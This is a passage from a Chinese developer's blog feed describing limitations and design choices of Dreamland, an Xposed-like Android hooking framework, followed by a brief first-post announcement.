title="支持重要系统进程加载模块"></a>支持重要系统进程加载模块</h3><p>由于SELinux限制,目前不支持关键系统进程(如Zygote和system_server)加载模块,我这边没有什么很好的解决办法,求各位大佬赐教 :)<br>顺便列出一些其他的限制:<br>android 9,隐藏API访问限制,这个好办,绕过方式有很多,就不细讲了。<br>Android 9及以上,zygote&system_server还有其他系统应用会SetOnlyUseSystemOatFiles(),然后就不能加载不在/system下面的oat文件了,如果违反这个策略就会直接abort掉。<br>android zygote fork新进程时,如果有不在白名单中的文件描述符,会进到ZygoteFailure里,然后整个进程abort掉。</p><h3 id="配置文件加载部分"><a href="#配置文件加载部分" class="headerlink" title="配置文件加载部分"></a>配置文件加载部分</h3><p>因为在目标进程里加载模块肯定需要获取对应的配置,目前的做法是,把对应的配置文件设置成谁都能读,然后直接读这个文件就行,这样做当然不妥,所以计划以后去优化,比如优化成单独跑一个配置守护进程,只有这个进程能去读写配置,其他应用只能通过跨进程交互的方式拿到配置。</p><h3 id="重新实现Xposed-API"><a href="#重新实现Xposed-API" class="headerlink" title="重新实现Xposed API"></a>重新实现Xposed API</h3><p>目前梦境的Xposed API是SandHook自带的<a href="https://github.com/ganyao114/SandHook/tree/master/xposedcompat" target="_blank" rel="noopener">xposedcompat</a>,通过DexMaker动态创建新的dex实现适配,这么做没有什么兼容性问题,但是有很大的效率问题,如果是第一次创建这个方法,需要生成dex,一套流程走下来可能就要用上100+ms。<br>在<a href="https://github.com/ganyao114/SandHook/tree/master/xposedcompat_new" target="_blank" rel="noopener">xposedcompat_new</a>中,有另一种实现方案:通过动态代理动态生成方法,然后把这个方法设置成native,对应的native函数也是通过libffi动态生成的,在这个native方法里跳到分发函数执行。这个方案对我来说很不错,至少不会太慢。(当然稳定性存疑)</p><h2 id="结语"><a href="#结语" class="headerlink" title="结语"></a>结语</h2><p>目前梦境框架还有非常多的不足,目前只能当个PoC用,如果你有兴趣,不妨一起来玩 ^_^<br>核心:<a href="https://github.com/canyie/Dreamland" target="_blank" rel="noopener">Dreamland</a><br>配套的管理器 <a href="https://github.com/canyie/DreamlandManager" target="_blank" rel="noopener">Dreamland Manager</a><br><a href="mqqwpa://im/chat?chat_type=group&uin=949888394&version=1">QQ群:949888394</a></p>]]></content>
<summary type="html">
<p>新人第一次写博客,勿喷..<br>本文也发布在<a href="https://zhuanlan.zhihu.com/p/104871958" target="_blank" rel="noopener">知乎</a>上</p><p>Xposed框架在Android上是神器般的存在,它给了普通用户随意定制系统的能力,各种骚操作层出不穷。随着咱对Android的了解越来越深(其实一点都不深..),逐渐冒出了自己写一个类Xposed框架的想法,最终搞出了这个勉强能用的半成品。<br>代码在这:<a href="https://github.com/canyie/Dreamland" target="_blank" rel="noopener">Dreamland</a> &amp; <a href="https://github.com/canyie/DreamlandManager" target="_blank" rel="noopener">Dreamland Manager</a> ,代码写的很辣鸡,求轻喷QAQ<br>接下来会介绍一下实现细节与遇到的问题。</p>
</summary>
<category term="android" scheme="https://blog.canyie.top/tags/android/"/>
<category term="art" scheme="https://blog.canyie.top/tags/art/"/>
<category term="xposed" scheme="https://blog.canyie.top/tags/xposed/"/>
<category term="AOP" scheme="https://blog.canyie.top/tags/AOP/"/>
<category term="hook" scheme="https://blog.canyie.top/tags/hook/"/>
<category term="注入" scheme="https://blog.canyie.top/tags/%E6%B3%A8%E5%85%A5/"/>
</entry>
<entry>
<title>我也有自己的个人博客啦!</title>
<link href="https://blog.canyie.top/2019/10/28/hello-world/"/>
<id>https://blog.canyie.top/2019/10/28/hello-world/</id>
<published>2019-10-28T12:39:23.000Z</published>
<updated>2020-04-15T03:05:17.501Z</updated>
<content type="html"><![CDATA[<p>我也有自己的个人博客啦!</p><a id="more"></a><p>基于<a href="https://page.github.com" target="_blank" rel="noopener">GitHub Pages</a> + <a href="https://hexo.io/zh-cn/" target="_blank" rel="noopener">Hexo</a>,主题为<a href="https://github.com/xaoxuu/hexo-theme-volantis" target="_blank" rel="noopener">Volantis</a><br>本站地址:<a href="https://canyie.github.io/" target="_blank" rel="noopener">https://canyie.github.io/</a></p>]]></content>
<summary type="html">
<p>我也有自己的个人博客啦!</p>
</summary>
<category term="闲聊" scheme="https://blog.canyie.top/tags/%E9%97%B2%E8%81%8A/"/>
</entry>
</feed>